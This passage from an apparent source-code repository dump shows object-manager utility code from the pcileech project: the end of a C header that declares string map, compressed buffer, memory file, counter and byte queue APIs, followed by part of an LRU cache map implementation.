strmap is only meant to be an interim object to be used for creation\n// of multi-string values and should not be kept as a long-lived object.\n//\n// The ObStrMap is an object manager object and must be DECREF'ed when required.\n// ----------------------------------------------------------------------------\n\ntypedef struct tdOB_STRMAP *POB_STRMAP;\n\n// Strings in OB_STRMAP are considered to be CASE SENSITIVE.\n#define OB_STRMAP_FLAGS_CASE_SENSITIVE         0x00\n\n// Strings in OB_STRMAP are considered to be CASE INSENSITIVE. The case is\n// preserved for 1st unique entry added; subsequent entries will use 1st entry.\n#define OB_STRMAP_FLAGS_CASE_INSENSITIVE       0x01\n\n// Assign temporary string values to destinations at time of push.\n// NB! values will become invalid after OB_STRMAP DECREF/FINALIZE!\n#define OB_STRMAP_FLAGS_STR_ASSIGN_TEMPORARY   0x02\n\n// Assign offset in number of bytes to string pointers at finalize stage\n// instead of pointers. Offset is counted from base of multi-string.\n// incompatible with OB_STRMAP_FLAGS_STR_ASSIGN_TEMPORARY option.\n#define OB_STRMAP_FLAGS_STR_ASSIGN_OFFSET      0x04\n\n// Read UNICODE OBJECT data from another process than SYSTEM (4).\n// PID is specified in flags high 32-bits.\n#define OB_STRMAP_FLAGS_WITH_PROCESS_PID       0x08\n\n//\n// STRMAP BELOW:\n//\n\n/*\n* Push / Insert into the ObStrMap.\n* -- psm\n* -- usz\n* -- return = TRUE on insertion, FALSE otherwise.\n*/\n_Success_(return)\nBOOL ObStrMap_PushU(_In_opt_ POB_STRMAP psm, _In_opt_ LPCSTR usz);\n\n/*\n* Push / Insert into the ObStrMap.\n* -- psm\n* -- sz\n* -- return = TRUE on insertion, FALSE otherwise.\n*/\n_Success_(return)\nBOOL ObStrMap_PushA(_In_opt_ POB_STRMAP psm, _In_opt_ LPCSTR sz);\n\n/*\n* Push / Insert into the ObStrMap.\n* -- psm\n* -- wsz\n* -- return = TRUE on insertion, FALSE otherwise.\n*/\n_Success_(return)\nBOOL ObStrMap_PushW(_In_opt_ POB_STRMAP psm, _In_opt_ LPCWSTR wsz);\n\n/*\n* Push / Insert into the ObStrMap.\n* -- psm\n* -- usz\n* -- puszDst\n* -- pcbuDst\n* -- return = TRUE on insertion, FALSE otherwise.\n*/\n_Success_(return)\nBOOL ObStrMap_PushPtrUU(_In_opt_ POB_STRMAP psm, _In_opt_ LPCSTR usz, _Out_opt_ LPSTR *puszDst, _Out_opt_ PDWORD pcbuDst);\n\n/*\n* Push / Insert into the ObStrMap.\n* -- psm\n* -- sz\n* -- puszDst\n* -- pcbuDst\n* -- return = TRUE on insertion, FALSE otherwise.\n*/\n_Success_(return)\nBOOL ObStrMap_PushPtrAU(_In_opt_ POB_STRMAP psm, _In_opt_ LPCSTR sz, _Out_opt_ LPSTR *puszDst, _Out_opt_ PDWORD pcbuDst);\n\n/*\n* Push / Insert into the ObStrMap.\n* -- psm\n* -- wsz\n* -- puszDst\n* -- pcbuDst\n* -- return = TRUE on insertion, FALSE otherwise.\n*/\n_Success_(return)\nBOOL ObStrMap_PushPtrWU(_In_opt_ POB_STRMAP psm, _In_opt_ LPCWSTR wsz, _Out_opt_ LPSTR *puszDst, _Out_opt_ PDWORD pcbuDst);\n\n/*\n* Push / Insert into the ObStrMap.\n* -- psm\n* -- usz\n* -- pwszDst\n* -- pcbwDst\n* -- return = TRUE on insertion, FALSE otherwise.\n*/\n_Success_(return)\nBOOL ObStrMap_PushPtrUW(_In_opt_ POB_STRMAP psm, _In_opt_ LPCSTR usz, _Out_opt_ LPWSTR *pwszDst, _Out_opt_ PDWORD pcbwDst);\n\n/*\n* Push / Insert into the ObStrMap.\n* -- psm\n* -- wsz\n* -- pwszDst\n* -- pcbwDst\n* -- return = TRUE on insertion, FALSE otherwise.\n*/\n_Success_(return)\nBOOL ObStrMap_PushPtrWW(_In_opt_ POB_STRMAP psm, _In_opt_ LPCWSTR wsz, _Out_opt_ LPWSTR *pwszDst, _Out_opt_ PDWORD pcbwDst);\n\n/*\n* Push / Insert into the ObStrMap. Result pointer is dependant on fWideChar flag.\n* -- psm\n* -- usz\n* -- puszDst = ptr to utf-8 _OR_ wide string depending on fWideChar\n* -- pcbuDst = # bytes required to hold *puszDst\n* -- fWideChar\n* -- return = TRUE on insertion, FALSE otherwise.\n*/\n_Success_(return)\nBOOL ObStrMap_PushPtrUXUW(_In_opt_ POB_STRMAP psm, _In_opt_ LPCSTR usz, _Out_opt_ LPSTR *puszDst, _Out_opt_ PDWORD pcbuDst, BOOL fWideChar);\n\n/*\n* Push a UNICODE_OBJECT Pointer for delayed resolve at finalize stage.\n* NB! Incompatible with: OB_STRMAP_FLAGS_STR_ASSIGN_TEMPORARY create flag.\n* -- psm\n* -- f32 = 32-bit/64-bit unicode object.\n* -- vaUnicodeObject\n* -- puszDst\n* -- pcbuDst\n* -- return = TRUE on validation success (NB! no guarantee for final success).\n*/\n_Success_(return)\nBOOL ObStrMap_Push_UnicodeObject(_In_opt_ POB_STRMAP psm, _In_ BOOL f32, _In_ QWORD vaUnicodeObject, _Out_opt_ LPSTR *puszDst, _Out_opt_ PDWORD pcbuDst);\n\n/*\n* Push a UNICODE_OBJECT Buffer for delayed resolve at finalize stage.\n* NB! Incompatible with: OB_STRMAP_FLAGS_STR_ASSIGN_TEMPORARY create flag.\n* -- psm\n* -- cbUnicodeBuffer.\n* -- vaUnicodeBuffer\n* -- puszDst\n* -- pcbuDst\n* -- return = TRUE on validation success (NB! no guarantee for final success).\n*/\n_Success_(return)\nBOOL ObStrMap_Push_UnicodeBuffer(_In_opt_ POB_STRMAP psm, _In_ WORD cbUnicodeBuffer, _In_ QWORD vaUnicodeBuffer, _Out_opt_ LPSTR *puszDst, _Out_opt_ PDWORD pcbuDst);\n\n/*\n* Push / Insert max 2048 char-bytes into ObStrMap using a snprintf_s syntax.\n* All szFormat and all string-arguments are assumed to be utf-8 encoded.\n* -- psm\n* -- puszDst\n* -- pcbuDst\n* -- uszFormat\n* -- ...\n* -- return = TRUE on insertion, FALSE otherwise.\n*/\n_Success_(return)\nBOOL ObStrMap_PushUU_snprintf_s(_In_opt_ POB_STRMAP psm, _Out_opt_ LPSTR *puszDst, _Out_opt_ PDWORD pcbuDst, _In_z_ _Printf_format_string_ char const *const uszFormat, ...);\n\n/*\n* Finalize the ObStrMap. Create and assign the MultiStr and assign each\n* previously added string reference to a pointer location within the MultiStr.\n* ---\n* Also decrease the reference count of the object. If the reference count\n* reaches zero the object will be cleaned up.\n* Also set the incoming pointer to NULL.\n* CALLER LOCALFREE: *ppbMultiStr\n* -- ppObStrMap\n* -- ppbMultiStr\n* -- pcbMultiStr\n* -- return\n*/\n_Success_(return)\nBOOL ObStrMap_FinalizeAllocU_DECREF_NULL(_In_opt_ POB_STRMAP *ppObStrMap, _Out_ PBYTE *ppbMultiStr, _Out_ PDWORD pcbMultiStr);\n\n/*\n* Finalize the ObStrMap. Create and assign the MultiStr and assign each\n* previously added string reference to a pointer location within the MultiStr.\n* ---\n* Also decrease the reference count of the object. If the reference count\n* reaches zero the object will be cleaned up.\n* Also set the incoming pointer to NULL.\n* CALLER LOCALFREE: *ppbMultiStr\n* -- ppObStrMap\n* -- ppbMultiStr\n* -- pcbMultiStr\n* -- return\n*/\n_Success_(return)\nBOOL ObStrMap_FinalizeAllocW_DECREF_NULL(_In_opt_ POB_STRMAP *ppObStrMap, _Out_ PBYTE *ppbMultiStr, _Out_ PDWORD pcbMultiStr);\n\n/*\n* Finalize the ObStrMap. Write the MultiStr into the supplied buffer and assign\n* previously added string reference to a pointer location within the MultiStr.\n* -- psm\n* -- cbuMultiStr\n* -- pbMultiStr = NULL for size query\n* -- pcbMultiStr\n* -- return\n*/\n_Success_(return)\nBOOL ObStrMap_FinalizeBufferU(_In_opt_ POB_STRMAP psm, _In_ DWORD cbMultiStr, _Out_writes_bytes_opt_(cbMultiStr) PBYTE pbMultiStr, _Out_ PDWORD pcbMultiStr);\n\n/*\n* Finalize the ObStrMap. Write the MultiStr into the supplied buffer and assign\n* previously added string reference to a pointer location within the MultiStr.\n* -- psm\n* -- cbMultiStr\n* -- pbMultiStr = NULL for size query\n* -- pcbMultiStr\n* -- return\n*/\n_Success_(return)\nBOOL ObStrMap_FinalizeBufferW(_In_opt_ POB_STRMAP psm, _In_ DWORD cbMultiStr, _Out_writes_bytes_opt_(cbMultiStr) PBYTE pbMultiStr, _Out_ PDWORD pcbMultiStr);\n\n/*\n* Finalize the ObStrMap as either UTF-8 or Wide. Write the MultiStr into the\n* supplied buffer and assign previously added string reference to a pointer\n* location within the MultiStr.\n* -- psm\n* -- cbMultiStr\n* -- pbMultiStr = NULL for size query\n* -- pcbMultiStr\n* -- fWideChar\n* -- return\n*/\n_Success_(return)\nBOOL ObStrMap_FinalizeBufferXUW(_In_opt_ POB_STRMAP psm, _In_ DWORD cbMultiStr, _Out_writes_bytes_opt_(cbMultiStr) PBYTE pbMultiStr, _Out_ PDWORD pcbMultiStr, _In_ BOOL fWideChar);\n\n/*\n* Create a new strmap. A strmap (ObStrMap) provides an easy way to add new\n* strings to a multi-string in an efficient way. The ObStrMap is not meant\n* to be a long-term object - it's supposed to be finalized and possibly\n* decommissioned by calling any of the ObStrMap_Finalize*() functions.\n* The ObStrMap is an object manager object and must be DECREF'ed when required.\n* CALLER DECREF: return\n* -- H\n* -- flags\n* -- return\n*/\n_Success_(return != NULL)\nPOB_STRMAP ObStrMap_New(_In_opt_ VMM_HANDLE H, _In_ QWORD flags);\n\n\n\n// ----------------------------------------------------------------------------\n// COMPRESSED DATA OBJECT FUNCTIONALITY BELOW:\n//\n// The ObCompressed is an object manager object and must be DECREF'ed when required.\n// ----------------------------------------------------------------------------\n\ntypedef struct tdOB_COMPRESSED *POB_COMPRESSED;\n\n#define OB_COMPRESSED_CACHED_ENTRIES_MAX        0x40\n#define OB_COMPRESSED_CACHED_ENTRIES_MAXSIZE    0x00100000\n\n/*\n* Create a new compressed buffer object from a byte buffer.\n* It's strongly recommended to supply a global cache map to use.\n* CALLER DECREF: return\n* -- H\n* -- pcmg = optional global (per VMM_HANDLE) cache map to use.\n* -- pb\n* -- cb\n* -- return\n*/\n_Success_(return != NULL)\nPOB_COMPRESSED ObCompressed_NewFromByte(_In_opt_ VMM_HANDLE H, _In_opt_ POB_CACHEMAP pcmg, _In_reads_(cb) PBYTE pb, _In_ DWORD cb);\n\n/*\n* Create a new compressed buffer object from a zero terminated string.\n* It's strongly recommended to supply a global cache map to use.\n* CALLER DECREF: return\n* -- H\n* -- pcmg = optional global (per VMM_HANDLE) cache map to use.\n* -- sz\n* -- return\n*/\n_Success_(return != NULL)\nPOB_COMPRESSED ObCompress_NewFromStrA(_In_opt_ VMM_HANDLE H, _In_opt_ POB_CACHEMAP pcmg, _In_ LPCSTR sz);\n\n/*\n* Retrieve the uncompressed size of the compressed data object.\n* -- pdc\n* -- return\n*/\nDWORD ObCompress_Size(_In_opt_ POB_COMPRESSED pdc);\n\n/*\n* Retrieve uncompressed from a compressed data object.\n* CALLER DECREF: return\n* -- pdc\n* -- return\n*/\n_Success_(return != NULL)\nPOB_DATA ObCompressed_GetData(_In_opt_ POB_COMPRESSED pdc);\n\n\n\n// ----------------------------------------------------------------------------\n// MEMORY BACKED FILE FUNCTIONALITY BELOW:\n// \n// The memfile is a growing memory backed file that may be read and appended.\n// The memfile will be automatically (de)compressed when it's required for\n// optimal performance. This object is typically implementing a generated\n// output file - such as some forensic JSON data output.\n//\n// The ObMemFile is an object manager object and must be DECREF'ed when required.\n// ----------------------------------------------------------------------------\n\ntypedef struct tdOB_MEMFILE *POB_MEMFILE;\n\n/*\n* Create a new empty memory file.\n* It's strongly recommended to supply a global cache map to use.\n* CALLER DECREF: return\n* -- H\n* -- pcmg = optional global (per VMM_HANDLE) cache map to use.\n* -- return\n*/\n_Success_(return != NULL)\nPOB_MEMFILE ObMemFile_New(_In_opt_ VMM_HANDLE H, _In_opt_ POB_CACHEMAP pcmg);\n\n/*\n* Retrieve byte count of the ObMemFile.\n* -- pmf\n* -- return\n*/\nQWORD ObMemFile_Size(_In_opt_ POB_MEMFILE pmf);\n\n/*\n* Append binary data to the ObMemFile.\n* -- pmf\n* -- pb\n* -- cb\n* -- return\n*/\n_Success_(return)\nBOOL ObMemFile_Append(_In_opt_ POB_MEMFILE pmf, _In_reads_(cb) PBYTE pb, _In_ QWORD cb);\n\n/*\n* Append a string (ansi or utf-8) to the ObMemFile.\n* -- pmf\n* -- sz\n* -- return\n*/\n_Success_(return)\nBOOL ObMemFile_AppendString(_In_opt_ POB_MEMFILE pmf, _In_opt_z_ LPCSTR sz);\n\n/*\n* Append a string (ansi or utf-8) to the ObMemFile.\n* -- H\n* -- uszFormat\n* -- ...\n* -- return = the number of bytes appended (excluding terminating null).\n*/\n_Success_(return != 0)\nSIZE_T ObMemFile_AppendStringEx(_In_opt_ POB_MEMFILE pmf, _In_z_ _Printf_format_string_ LPCSTR uszFormat, ...);\n\n/*\n* Append a string (ansi or utf-8) to the ObMemFile.\n* -- H\n* -- uszFormat\n* -- arglist\n* -- return = the number of bytes appended (excluding terminating null).\n*/\n_Success_(return != 0)\nSIZE_T ObMemFile_AppendStringEx2(_In_opt_ POB_MEMFILE pmf, _In_z_ _Printf_format_string_ LPCSTR uszFormat, _In_ va_list arglist);\n\n/*\n* Read data 'as file' from the ObMemFile.\n* -- pmf\n* -- pb\n* -- cb\n* -- pcbRad\n* -- cbOffset\n* -- return\n*/\n_Success_(return == 0)\nNTSTATUS ObMemFile_ReadFile(_In_opt_ POB_MEMFILE pmf, _Out_writes_to_(cb, *pcbRead) PBYTE pb, _In_ DWORD cb, _Out_ PDWORD pcbRead, _In_ QWORD cbOffset);\n\n\n\n// ----------------------------------------------------------------------------\n// COUNTER FUNCTIONALITY BELOW\n// \n// The counter is a auto-growing object that allows counting an unknown amount\n// of objects. Counting operations are thread-safe and atomic.\n// \n// When counting is completed the counted objects may be retrieved sorted.\n//\n// The ObCounter is an object manager object and must be DECREF'ed when required.\n// ----------------------------------------------------------------------------\n\ntypedef struct tdOB_COUNTER *POB_COUNTER;\n\ntypedef struct tdOB_COUNTER_ENTRY {\n    QWORD k;\n    QWORD v;\n} OB_COUNTER_ENTRY, *POB_COUNTER_ENTRY, **PPOB_COUNTER_ENTRY;\n\n#define OB_COUNTER_FLAGS_SHOW_ZERO      0x01\n#define OB_COUNTER_FLAGS_ALLOW_NEGATIVE 0x02\n\n/*\n* Create a new counter. A counter (ObCounter) provides atomic counting operations.\n* The ObCounter is an object manager object and must be DECREF'ed when required.\n* CALLER DECREF: return\n* -- H\n* -- flags = defined by OB_COUNTER_FLAGS_*\n* -- return\n*/\nPOB_COUNTER ObCounter_New(_In_opt_ VMM_HANDLE H, _In_ QWORD flags);\n\n/*\n* Clear the ObCounter by removing all counts and keys.\n* NB! underlying allocated memory will remain unchanged.\n* -- pm\n* -- return = clear was successful - always true.\n*/\n_Success_(return)\nBOOL ObCounter_Clear(_In_opt_ POB_COUNTER pc);\n\n/*\n* Retrieve the number of counted keys the ObCounter.\n* -- pc\n* -- return\n*/\nDWORD ObCounter_Size(_In_opt_ POB_COUNTER pc);\n\n/*\n* Retrieve the total count of the ObCounter.\n* NB! The resulting count may overflow on large counts!\n* -- pc\n* -- return\n*/\nQWORD ObCounter_CountAll(_In_opt_ POB_COUNTER pc);\n\n/*\n* Check if the counted key exists in the ObCounter.\n* -- pc\n* -- k\n* -- return\n*/\nBOOL ObCounter_Exists(_In_opt_ POB_COUNTER pc, _In_ QWORD k);\n\n/*\n* Get the count of a specific key.\n* -- pc\n* -- k\n* -- return = the counted value after the action, zero on fail.\n*/\nQWORD ObCounter_Get(_In_opt_ POB_COUNTER pc, _In_ QWORD k);\n\n/*\n* Remove a specific key.\n* -- pc\n* -- k\n* -- return = the count of the removed key, zero in fail.\n*/\nQWORD ObCounter_Del(_In_opt_ POB_COUNTER pc, _In_ QWORD k);\n\n/*\n* Set the count of a specific key.\n* -- pc\n* -- k\n* -- v\n* -- return = the counted value after the action, zero on fail.\n*/\nQWORD ObCounter_Set(_In_opt_ POB_COUNTER pc, _In_ QWORD k, _In_ QWORD v);\n\n/*\n* Add the count v of a specific key.\n* -- pc\n* -- k\n* -- v\n* -- return = the counted value after the action, zero on fail.\n*/\nQWORD ObCounter_Add(_In_opt_ POB_COUNTER pc, _In_ QWORD k, _In_ QWORD v);\n\n/*\n* Increment the count of a specific key with 1.\n* -- pc\n* -- k\n* -- return = the counted value after the action, zero on fail.\n*/\nQWORD ObCounter_Inc(_In_opt_ POB_COUNTER pc, _In_ QWORD k);\n\n/*\n* Subtract the count v of a specific key.\n* -- pc\n* -- k\n* -- v\n* -- return = the counted value after the action, zero on fail.\n*/\nQWORD ObCounter_Sub(_In_opt_ POB_COUNTER pc, _In_ QWORD k, _In_ QWORD v);\n\n/*\n* Decrement the count of a specific key with 1.\n* -- pc\n* -- k\n* -- return = the counted value after the action, zero on fail.\n*/\nQWORD ObCounter_Dec(_In_opt_ POB_COUNTER pc, _In_ QWORD k);\n\n/*\n* Retrieve all counts in an unsorted table.\n* -- pc\n* -- cEntries\n* -- pEntries\n* -- return\n*/\n_Success_(return)\nBOOL ObCounter_GetAll(_In_opt_ POB_COUNTER pc, _In_ DWORD cEntries, _Out_writes_opt_(cEntries) POB_COUNTER_ENTRY pEntries);\n\n/*\n* Retrieve all counts in a sorted table.\n* -- pc\n* -- cEntries\n* -- pEntries\n* -- return\n*/\n_Success_(return)\nBOOL ObCounter_GetAllSortedByKey(_In_opt_ POB_COUNTER pc, _In_ DWORD cEntries, _Out_writes_opt_(cEntries) POB_COUNTER_ENTRY pEntries);\n\n/*\n* Retrieve all counts in a sorted table.\n* -- pc\n* -- cEntries\n* -- pEntries\n* -- return\n*/\n_Success_(return)\nBOOL ObCounter_GetAllSortedByCount(_In_opt_ POB_COUNTER pc, _In_ DWORD cEntries, _Out_writes_opt_(cEntries) POB_COUNTER_ENTRY pEntries);\n\n/*\n* Remove the \"last\" count.\n* -- pc\n* -- return = success: count, fail: 0.\n*/\n_Success_(return != 0)\nQWORD ObCounter_Pop(_In_opt_ POB_COUNTER pc);\n\n/*\n* Remove the \"last\" count and return it and its key.\n* -- pc\n* -- pKey\n* -- return = success: count, fail: 0.\n*/\n_Success_(return != 0)\nQWORD ObCounter_PopWithKey(_In_opt_ POB_COUNTER pc, _Out_opt_ PQWORD pKey);\n\n\n\n// ----------------------------------------------------------------------------\n// BYTE QUEUE FUNCTIONALITY BELOW\n//\n// The byte queue contains a fixed number of bytes as buffer. The queue size\n// is defined at queue creation and cannot be changed.\n// Bytes in the form of packets [pb, cb, tag] is pushed on the queue as long\n// as there is available space.\n// Bytes may be popped from the queue. This will also free up space for more\n// bytes to be pushed on the queue.\n// The bytes queue is FIFO and will always pop the oldest bytes first.\n// The ObByteQueue is an object manager object and must be DECREF'ed when required.\n// ----------------------------------------------------------------------------\n\ntypedef struct tdOB_BYTEQUEUE *POB_BYTEQUEUE;\n\n/*\n* Retrieve the number of packets (not bytes) in the byte queue.\n* -- pq\n* -- return\n*/\nDWORD ObByteQueue_Size(_In_opt_ POB_BYTEQUEUE pq);\n\n/*\n* Peek data from the byte queue. The data is copied into the user-supplied buffer.\n* If the buffer is insufficient the function will return FALSE and the required\n* size will be returned in pcbRead.\n* -- pq\n* -- pqwTag\n* -- cb\n* -- pb\n* -- pcbRead\n* -- return = TRUE if there was data to peek, FALSE otherwise.\n*/\n_Success_(return)\nBOOL ObByteQueue_Peek(_In_opt_ POB_BYTEQUEUE pq, _Out_opt_ QWORD * pqwTag, _In_ SIZE_T cb, _Out_ PBYTE pb, _Out_ SIZE_T * pcbRead);\n\n/*\n* Pop data from the byte queue. The data is copied into the user-supplied buffer.\n* If the buffer is insufficient the function will return FALSE and the required\n* size will be returned in pcbRead.\n* -- pq\n* -- pqwTag\n* -- cb\n* -- pb\n* -- pcbRead\n* -- return = TRUE if there was data to pop, FALSE otherwise.\n*/\n_Success_(return)\nBOOL ObByteQueue_Pop(_In_opt_ POB_BYTEQUEUE pq, _Out_opt_ QWORD * pqwTag, _In_ SIZE_T cb, _Out_ PBYTE pb, _Out_ SIZE_T * pcbRead);\n\n/*\n* Push / Insert into the ObByteQueue. The data is copied into the queue.\n* -- pq\n* -- qwTag\n* -- cb\n* -- pb\n* -- return = TRUE on insertion, FALSE otherwise - i.e. if the byte queue\n*             is insufficient to hold the byte data.\n*/\n_Success_(return)\nBOOL ObByteQueue_Push(_In_opt_ POB_BYTEQUEUE pq, _In_opt_ QWORD qwTag, _In_ SIZE_T cb, _In_reads_bytes_(cb) PBYTE pb);\n\n/*\n* Create a new byte queue. A byte queue (ObByteQueue) provides atomic queuing\n* operations for pushing/popping bytes as packets on a FIFO queue.\n* The ObByteQueue is an object manager object and must be DECREF'ed when required.\n* CALLER DECREF: return\n* -- H\n* -- cbQueueSize = the queue size in bytes. Must be larger than 4096 bytes.\n* -- return\n*/\nPOB_BYTEQUEUE ObByteQueue_New(_In_opt_ VMM_HANDLE H, _In_ DWORD cbQueueSize);\n\n#endif /* __OB_H__ */\n"
  },
  {
    "path": "pcileech/ob/ob_cachemap.c",
    "content": "// ob_cachemap.c : implementation of object manager cached map functionality.\n//\n// The map (ObCacheMap) implements an efficient caching of objects stored in\n// an internal hash map. The cached object are retrieved and cleared according\n// to rules implemented by callback functions.\n//\n// If the max number of map entries are reached the least recently accessed\n// entry will be removed if required to make room for a new entry.\n//\n// The map (ObCacheMap) is thread safe.\n// The ObCacheMap is an object manager object and must be DECREF'ed when required.\n//\n// (c) Ulf Frisk, 2020-2025\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#include \"ob.h\"\n\n#define OB_CACHEMAP_IS_VALID(p)     (p && (p->ObHdr._magic2 == OB_HEADER_MAGIC) && (p->ObHdr._magic1 == OB_HEADER_MAGIC) && (p->ObHdr._tag == OB_TAG_CORE_CACHEMAP))\n\n#define OB_CACHEMAP_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pcm, RetTp, RetValFail, fn) { \\\n    if(!OB_CACHEMAP_IS_VALID(pcm)) { return RetValFail; }                                \\\n    RetTp retVal;                                                                        \\\n    AcquireSRWLockExclusive(&pcm->LockSRW);                                              \\\n    retVal = fn;                                                                         \\\n    ReleaseSRWLockExclusive(&pcm->LockSRW);                                              \\\n    return retVal;                                                                       \\\n}\n\ntypedef struct tdOB_CACHEMAPENTRY {\n    struct tdOB_CACHEMAPENTRY *FLink;\n    struct tdOB_CACHEMAPENTRY *BLink;\n    PVOID pvObject;\n    QWORD qwContext;\n} OB_CACHEMAPENTRY, *POB_CACHEMAPENTRY;\n\ntypedef struct tdOB_CACHEMAP {\n    OB ObHdr;\n    SRWLOCK LockSRW;\n    DWORD c;\n    DWORD cMax;\n    BOOL fObjectsOb;\n    BOOL fObjectsLocalFree;\n    POB_MAP pm;\n    POB_CACHEMAPENTRY AgeListHead;\n    OB_CACHEMAP_VALIDENTRY_PFN_CB pfnValidEntry;\n} OB_CACHEMAP, *POB_CACHEMAP;\n\n_Success_(return)\nBOOL _ObCacheMap_Clear(_In_ POB_CACHEMAP pcm)\n{\n    POB_CACHEMAPENTRY pe, peNext;\n    if(!(peNext = pcm->AgeListHead)) { return TRUE; }\n    peNext->BLink->FLink = NULL;\n    while((pe = peNext)) {\n        peNext = pe->FLink;\n        if(pcm->fObjectsOb) {\n            Ob_DECREF(pe->pvObject);\n        } else if(pcm->fObjectsLocalFree) {\n            LocalFree(pe->pvObject);\n        }\n        LocalFree(pe);\n    }\n    ObMap_Clear(pcm->pm);\n    pcm->AgeListHead = NULL;\n    pcm->c = 0;\n    return TRUE;\n}\n\n/*\n* Clear the ObCacheMap by removing all objects and their keys.\n* -- pcm\n* -- return = clear was successful - always true.\n*/\n_Success_(return)\nBOOL ObCacheMap_Clear(_In_opt_ POB_CACHEMAP pcm)\n{\n    OB_CACHEMAP_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pcm, BOOL, TRUE, _ObCacheMap_Clear(pcm));\n}\n\nPVOID _ObCacheMap_RemoveByKey(_In_ POB_CACHEMAP pcm, _In_ QWORD qwKey, _In_ BOOL fNoReturn)\n{\n    PVOID pvRemovedObject;\n    POB_CACHEMAPENTRY pe;\n    if(!(pe = ObMap_RemoveByKey(pcm->pm, qwKey))) { return NULL; }\n    pe->FLink->BLink = pe->BLink;\n    pe->BLink->FLink = pe->FLink;\n    pcm->c--;\n    if(pcm->c == 0) {\n        pcm->AgeListHead = NULL;\n    } else if(pcm->AgeListHead == pe) {\n        pcm->AgeListHead = pe->FLink;\n    }\n    pvRemovedObject = pe->pvObject;\n    LocalFree(pe);\n    if(fNoReturn && pvRemovedObject) {\n        if(pcm->fObjectsOb) {\n            Ob_DECREF(pvRemovedObject);\n        } else if(pcm->fObjectsLocalFree) {\n            LocalFree(pvRemovedObject);\n        }\n        pvRemovedObject = NULL;\n    }\n    return pvRemovedObject;\n}\n\nPVOID _ObCacheMap_GetByKey(_In_ POB_CACHEMAP pcm, _In_ QWORD qwKey)\n{\n    POB_CACHEMAPENTRY pe;\n    if(!(pe = ObMap_GetByKey(pcm->pm, qwKey))) { return NULL; }\n    if(pcm->pfnValidEntry && !pcm->pfnValidEntry(pcm->ObHdr.H, &pe->qwContext, qwKey, pe->pvObject)) {\n        // invalid - remove object from map and return NULL\n        _ObCacheMap_RemoveByKey(pcm, qwKey, TRUE);\n        return NULL;\n    }\n    // valid - move to front of age list and return object\n    if(pcm->AgeListHead != pe) {\n        pe->FLink->BLink = pe->BLink;\n        pe->BLink->FLink = pe->FLink;\n        pe->BLink = pcm->AgeListHead->BLink;\n        pe->FLink = pcm->AgeListHead;\n        pcm->AgeListHead->BLink->FLink = pe;\n        pcm->AgeListHead->BLink = pe;\n        pcm->AgeListHead = pe;\n    }\n    if(pcm->fObjectsOb) { Ob_INCREF(pe->pvObject); }\n    return pe->pvObject;\n}\n\n_Success_(return)\nBOOL _ObCacheMap_Push(_In_ POB_CACHEMAP pcm, _In_ QWORD qwKey, _In_ PVOID pvObject, _In_ QWORD qwContextInitial)\n{\n    QWORD qwRemovedKey;\n    POB_CACHEMAPENTRY pe;\n    if(!qwKey || !pvObject) { return FALSE; }\n    // 1: remove existing object with same key\n    _ObCacheMap_RemoveByKey(pcm, qwKey, TRUE);\n    // 2: remove least recently accessed object (if required)\n    if(pcm->c >= pcm->cMax) {\n        pe = pcm->AgeListHead->BLink;\n        qwRemovedKey = ObMap_GetKey(pcm->pm, pe);\n        _ObCacheMap_RemoveByKey(pcm, qwRemovedKey, TRUE);\n    }\n    // 3: add new object\n    if(!(pe = LocalAlloc(0, sizeof(OB_CACHEMAPENTRY)))) { return FALSE; }\n    if(pcm->fObjectsOb) { Ob_INCREF(pvObject); }\n    pe->pvObject = pvObject;\n    pe->qwContext = qwContextInitial;\n    if(pcm->AgeListHead) {\n        pe->BLink = pcm->AgeListHead->BLink;\n        pe->FLink = pcm->AgeListHead;\n        pcm->AgeListHead->BLink->FLink = pe;\n        pcm->AgeListHead->BLink = pe;\n    } else {\n        pe->BLink = pe->FLink = pe;\n    }\n    ObMap_Push(pcm->pm, qwKey, pe);\n    pcm->AgeListHead = pe;\n    pcm->c++;\n    return TRUE;\n}\n\n/*\n* Retrieve a value given a key.\n* CALLER DECREF(if OB): return\n* -- pcm\n* -- qwKey\n* -- return\n*/\nPVOID ObCacheMap_GetByKey(_In_opt_ POB_CACHEMAP pcm, _In_ QWORD qwKey)\n{\n    OB_CACHEMAP_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pcm, PVOID, NULL, _ObCacheMap_GetByKey(pcm, qwKey));\n}\n\n/*\n* Remove an object from the ObCacheMap by using its key.\n* NB! Object is removed and returned even if valid critera is not matched.\n* CALLER DECREF(if OB): return\n* -- pcm\n* -- qwKey\n* -- return = success: object, fail: NULL.\n*/\nPVOID ObCacheMap_RemoveByKey(_In_opt_ POB_CACHEMAP pcm, _In_ QWORD qwKey)\n{\n    OB_CACHEMAP_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pcm, PVOID, NULL, _ObCacheMap_RemoveByKey(pcm, qwKey, FALSE));\n}\n\n/*\n* Check if a key exists in the ObCacheMap.\n* -- pcm\n* -- qwKey/pvObject\n* -- return\n*/\nBOOL ObCacheMap_ExistsKey(_In_opt_ POB_CACHEMAP pcm, _In_ QWORD qwKey)\n{\n    OB_CACHEMAP_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pcm, DWORD, 0, ObMap_ExistsKey(pcm->pm, qwKey))\n}\n\n/*\n* Retrieve the number of objects in the ObCacheMap.\n* -- pcm\n* -- return\n*/\nDWORD ObCacheMap_Size(_In_opt_ POB_CACHEMAP pcm)\n{\n    OB_CACHEMAP_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pcm, DWORD, 0, pcm->c);\n}\n\n_Success_(return)\nBOOL ObCacheMap_Push(_In_opt_ POB_CACHEMAP pcm, _In_ QWORD qwKey, _In_ PVOID pvObject, _In_ QWORD qwContextInitial)\n{\n    OB_CACHEMAP_CALL_SYNCHRONIZED_IMPLEMENTATION_WRITE(pcm, BOOL, FALSE, _ObCacheMap_Push(pcm, qwKey, pvObject, qwContextInitial))\n}\n\n/*\n* Object Map object manager cleanup function to be called when reference\n* count reaches zero.\n* -- pObMap\n*/\nVOID _ObCacheMap_ObCloseCallback(_In_ POB_CACHEMAP pObCacheMap)\n{\n    _ObCacheMap_Clear(pObCacheMap);\n    Ob_DECREF(pObCacheMap->pm);\n}\n\n/*\n* Create a new cached map. A cached map (ObCacheMap) provides atomic map\n* operations on cached objects.\n* The ObCacheMap is an object manager object and must be DECREF'ed when required.\n* CALLER DECREF: return\n* -- H\n* -- cMaxEntries = max entries in the cache, if more entries are added 